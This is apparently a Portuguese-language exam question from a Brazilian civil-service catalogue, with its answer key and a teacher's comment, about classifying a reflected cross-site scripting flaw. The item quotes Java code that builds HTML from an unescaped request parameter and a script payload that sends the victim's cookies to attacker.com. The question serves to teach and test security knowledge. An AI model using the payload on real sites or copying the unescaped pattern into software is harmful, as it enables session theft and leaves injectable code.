Questão FC96526
Acerca de técnicas de ataque e tipos de vulnerabilidades, julgue o item a seguir. Considere que uma aplicação use a seguinte informação não confiável na construção do HTML, sem val
Ameaças aos Sistemas Computacionais
CEBRASPE (CESPE) · 2020
Considere que uma aplicação use a seguinte informação não confiável na construção do HTML, sem validação ou escaping.
(String) page += "<input name='creditcard' type='TEXT' value='" + request.getParameter ("CC") + "'>" ;Considere, ainda, que um atacante tenha alterado o parâmetro CC no browser pelo código a seguir.
><script>document.location=
'http://www.attacker.com/cgi-bin/cookie.cgi?
foo='+document.cookie</script>Nesse caso, o risco de segurança da aplicação é a desserialização insegura.
Mostrar resposta e comentário
Gabarito
Errado
Comentário do professor
Comentário: O item está errado porque o cenário descrito envolve uma vulnerabilidade de Cross-Site Scripting (XSS) e não uma desserialização insegura. A aplicação está inserindo diretamente um valor não confiável no HTML, permitindo que um atacante execute código JavaScript malicioso que pode roubar cookies e redirecionar o usuário. Desserialização insegura refere-se a falhas na manipulação de dados que são convertidos de um formato serializado para um objeto, o que não é o caso aqui. Portanto, a descrição do risco de segurança não corresponde à vulnerabilidade apresentada.
Conteúdo do catálogo FC Concursos · Atualizado em